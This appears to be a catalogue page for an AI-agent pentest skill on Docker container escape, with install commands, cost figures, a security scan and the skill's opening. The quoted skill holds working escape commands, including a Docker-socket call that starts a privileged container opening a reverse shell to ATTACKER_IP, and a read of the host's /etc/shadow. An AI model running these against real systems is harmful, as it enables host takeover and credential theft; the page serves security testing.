docker-container-escape

docker-container-escape is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 65 tokens per session (1,862 once invoked), scanned B, original, MIT.

A penetration-testing guide for checking whether a Docker container can be used to reach or control the host computer. It covers unsafe settings such as exposed Docker sockets, excessive permissions, and kernel weaknesses.

In plain words
What is it for?
Use it to assess Docker containers or Kubernetes pods, check privileges and mounted sockets, and test possible container-to-host privilege escalation.
Why use it?
It helps security testers find container configurations that could let an attacker escape isolation and gain host-level access.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/shulkwisec/bb-huge/docker-container-escape
Any agent
npx skills add ShulkwiSEC/bb-huge --skill docker-container-escape
Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for docker-container-escape

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/docker-container-escape.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/docker-container-escape)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/docker-container-escape"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/docker-container-escape.svg" alt="Measured on agentmods" height="20"></a>
Per session 65 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,862 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00065 $0.01862
Opus 5 $0.00032 $0.00931
Sonnet 5 $0.00013 $0.00372
Haiku 4.5 $0.00006 $0.00186

Measured yesterday against content hash 9419c93bcc05, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade B, and why

docker-container-escape scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

cat /proc/1/root/etc/shadow

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

# Install Docker CLI or use curl to API
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/docker-container-escape/SKILL.md · 206 lines

How it starts

The opening of the file, as written. The whole thing — 206 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Docker Container Escape

When to Use

  • When you have shell access inside a Docker container during a pentest
  • When testing Kubernetes pods for breakout vulnerabilities
  • When assessing container security configurations
  • When testing for privilege escalation from container to host

Prerequisites

  • Shell access (user or limited privilege) on the target system
  • Enumeration tools appropriate for the target OS (LinPEAS, WinPEAS, etc.)
  • Understanding of the target OS privilege model and common misconfigurations
  • Ability to transfer files or compile tools on the target

Workflow

Phase 1: Container Detection & Enumeration

# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv
hostname  # Container IDs look like hex strings: a1b2c3d4e5f6

# Automated detection
# amicontained — container introspection tool
./amicontained

# DeepCE — Docker Privilege Escalation scanner
./deepce.sh

# Check for mounted Docker socket (CRITICAL FINDING)
ls -la /var/run/docker.sock
ls -la /run/docker.sock

# Check capabilities
capsh --print
cat /proc/self/status | grep Cap

# Check if privileged
cat /proc/self/status | grep -i "seccomp\|cap"
# If CapEff: 0000003fffffffff → Privileged container!

# Check mounted volumes
mount | grep -v "proc\|sys\|dev\|overlay"
df -h
cat /proc/mounts

Phase 2: Docker Socket Escape (Most Common)

# If /var/run/docker.sock is mounted — GAME OVER
# You can create a new privileged container with host filesystem mounted

# Method 1: Using Docker client inside container
# Install Docker CLI or use curl to API
docker -H unix:///var/run/docker.sock run -it --rm --privileged \
  -v /:/hostfs alpine:latest chroot /hostfs bash

# Method 2: Using curl (when Docker CLI is not available)
# List running containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq

# Create privileged container with host access
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  http://localhost/containers/create \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh", "-c", "chroot /hostfs /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\""],
    "HostConfig": {
      "Binds": ["/:/hostfs"],
      "Privileged": true
    }
  }'

# Start the container
curl -s --unix-socket /var/run/docker.sock -X POST \
  http://localhost/containers/CONTAINER_ID/start

Read the full file on GitHub · 206 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. yesterday First seen · 206 lines · 65 tokens per session scan B 9419c93bcc05

Subscribe to this mod's changes

docker-container-escape is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 65 tokens to every session and 1,862 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

docker-container-escape

Escape from Docker containers to the host system using container misconfigurations, mounted sockets, privileged mode, capabilities abuse, and kernel exploits. Use this skill when testing containerized environments for breakout vulnerabilities during penetration tests. Covers Docker socket mounting, cgroup escapes…

akashrpatil/awesome-offensive-security-skills · 65 tokens

performing-container-security-scanning-with-trivy

Scan container images, filesystems, and Kubernetes manifests for vulnerabilities, misconfigurations, exposed secrets, and license compliance issues using Aqua Security Trivy with SBOM generation and CI/CD integration.

xalgorix/xalgorix · 48 tokens

test-environment-management

Test environment provisioning, infrastructure as code for testing, Docker/Kubernetes for test environments, service virtualization, and cost optimization. Use when managing test infrastructure, ensuring environment parity, or optimizing testing costs.

summarybotng/summarybot-ng · 44 tokens

DevOps & Deployment

CI/CD pipelines, containerization, Kubernetes, and infrastructure as code patterns.

ArieGoldkin/ai-agent-hub · 19 tokens

detecting-container-drift-at-runtime

Detect unauthorized modifications to running containers by monitoring for binary execution drift, file system changes, and configuration deviations from the original container image.

xalgorix/xalgorix · 34 tokens

securing-container-registry-with-harbor

Harbor is an open-source container registry that provides security features including vulnerability scanning (integrated Trivy), image signing (Notary/Cosign), RBAC, content trust policies, replicatio.

xalgorix/xalgorix · 50 tokens